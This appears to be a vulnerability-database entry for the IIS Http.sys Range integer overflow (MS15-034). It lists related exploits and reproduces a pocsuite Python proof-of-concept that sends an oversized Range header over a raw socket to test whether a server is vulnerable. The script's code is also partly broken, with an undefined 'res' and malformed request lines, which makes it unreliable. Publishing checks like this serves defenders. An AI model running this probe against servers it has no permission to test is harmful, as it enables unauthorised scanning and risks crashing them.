IIS 系列 Http.sys 处理 Range 整数溢出漏洞

🗓️ 01 Jul 2015 00:00:00Reported by RootType

IIS HTTP.sys Range Integer Overflow Vulnerabilit

Reporter	Title	Published	Views	Family All 43
zdt	Microsoft Window - HTTP.sys PoC (MS15-034)	15 Apr 201500:00	–	zdt
zdt	Microsoft Window (HTTP.sys) HTTP Request Parsing DoS (MS15-034)	17 Apr 201500:00	–	zdt
zdt	MS15-034 Microsoft IIS Remote Code Execution Exploit	19 Apr 201500:00	–	zdt
GithubExploit	Exploit for Code Injection in Microsoft	20 Oct 202511:22	–	githubexploit
GithubExploit	Exploit for Code Injection in Microsoft	20 Jun 201814:28	–	githubexploit
GithubExploit	Exploit for Code Injection in Microsoft	15 Apr 201515:05	–	githubexploit
Gitee	Exploit for Code Injection in Microsoft	27 Nov 202010:59	–	gitee
Gitee	Exploit for Code Injection in Microsoft	25 Nov 202023:04	–	gitee
Gitee	Exploit for Code Injection in Microsoft	17 Nov 202009:07	–	gitee
ATTACKERKB	CVE-2015-1635	14 Apr 201500:00	–	attackerkb


                                                #!/usr/bin/env python
# coding: utf-8

import socket
import random
from urlparse import urljoin
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from lib.utils.funs import url2ip


class TestPOC(POCBase):
    vulID = '89233'  # vul ID
    version = '1'
    author = ['cnyql']
    vulDate = '2015-04-14'
    createDate = '2015-04-16'
    updateDate = '2015-09-19'
    references = ['http://www.sebug.net/vuldb/ssvid-89233']
    name = 'IIS 系列 Http.sys 处理 Range 整数溢出漏洞'
    appPowerLink = 'http://www.iis.net/'
    appName = 'Miscrosoft IIS httpd'
    appVersion = 'N/A'
    vulType = 'Buffer Overflow'
    desc = '''
    2015年04月14日，微软发布严重级别的安全公告 MS15-034，编号为 CVE-2015-1635，据称在 Http.sys 中的漏洞可能允许远程执行代码。
    '''

    def _verify(self):

        ip = url2ip(self.url)
        hexAllFfff = "18446744073709551615"
        flag = False
        req1 = "GET /HTTP/1.0\r\n\r\n"
        req = "GET /HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

        client_socket =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((ip, 80))
        client_socket.send(req1)
        boringResp = client_socket.recv(1024)

        if "Microsoft" in boringResp:
            client_socket.close()
            client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client_socket.connect((ip,80))
            client_socket.send(req)
            goodResp = client_socket.recv(1024)

            if "Requested RangeNot Satisfiable" in goodResp:
                flag = True

        return self.parse_verify(flag)

    def parse_verify(self, flag):
        output = Output(self)
        result = {}

        if flag:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = res.url
            output.success(result)
        
        else:
            output.fail('No vulnerability found.')

        return output
		
    def _attack(self):
        return self._verify()


register(TestPOC)

01 Jul 2015 00:00Current

9.2High risk

Vulners AI Score9.2

EPSS0.99999